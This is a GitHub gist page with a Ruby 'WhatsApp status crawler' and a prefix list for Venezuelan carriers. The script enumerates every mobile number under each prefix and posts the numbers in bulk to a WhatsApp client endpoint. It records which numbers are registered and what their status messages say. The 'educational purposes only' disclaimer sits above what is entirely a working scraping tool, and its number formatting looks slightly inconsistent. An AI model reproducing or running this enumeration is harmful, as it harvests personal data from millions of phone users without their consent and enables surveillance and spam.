Skip to content

Instantly share code, notes, and snippets.

@betacar
Forked from edulan/moviles.txt
Created Mar 6, 2012
Embed
What would you like to do?
Whatsapp status crawler
414##GSM/CDMA#Asignado#Movistar
424##GSM#Asignado#Movistar
412##GSM#Asignado#Digitel
416##GSM/CDMA#Asignado#Movilnet
426##GSM#Asignado#Movilnet
#!/usr/bin/env ruby
#
# Whatsapp status crawler for venezuelan mobile phone numbers.
#
# Based on a SBD post by Alejandro Ramos:
# http://www.securitybydefault.com/2012/03/casi-10-millones-de-moviles-espanoles.html
#
# Forked from Edulan's gist
# https://gist.github.com/1964012
#
# This Gist has educational porpuses only.
# I'm not resposible for what you can do with it.
#
# Usage: ruby wastcrawl.rb > statuses.txt
#
require 'net/http'
require 'plist'
URL = "https://sro.whatsapp.net/client/iphone/iq.php"
PARAMS = [['cd', 1], ['cc', 58], ['me', 4000000000]]
File.open("moviles.txt", 'r') do |file|
file.each_line do |line|
prefix = line.split('#')[0]
(0..9999).to_a.each do |n|
numbers = (0..999).to_a.map do |m|
group_n = "%03d" % n
group_m = "%03d" % m
['u[]', "+#{PARAMS[1][1]}#{prefix}#{group_n}#{group_m}"]
end
uri = URI(URL)
uri.query = URI.encode_www_form(PARAMS + numbers)
Net::HTTP.start(uri.host, uri.port,
:use_ssl => true) do |http|
request = Net::HTTP::Post.new uri.request_uri
request.body = ''
response = http.request request
xml = response.body.force_encoding('UTF-8')
Plist::parse_xml(xml).each do |r|
p "#{r['P']}: #{r['S']}"
end
end
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment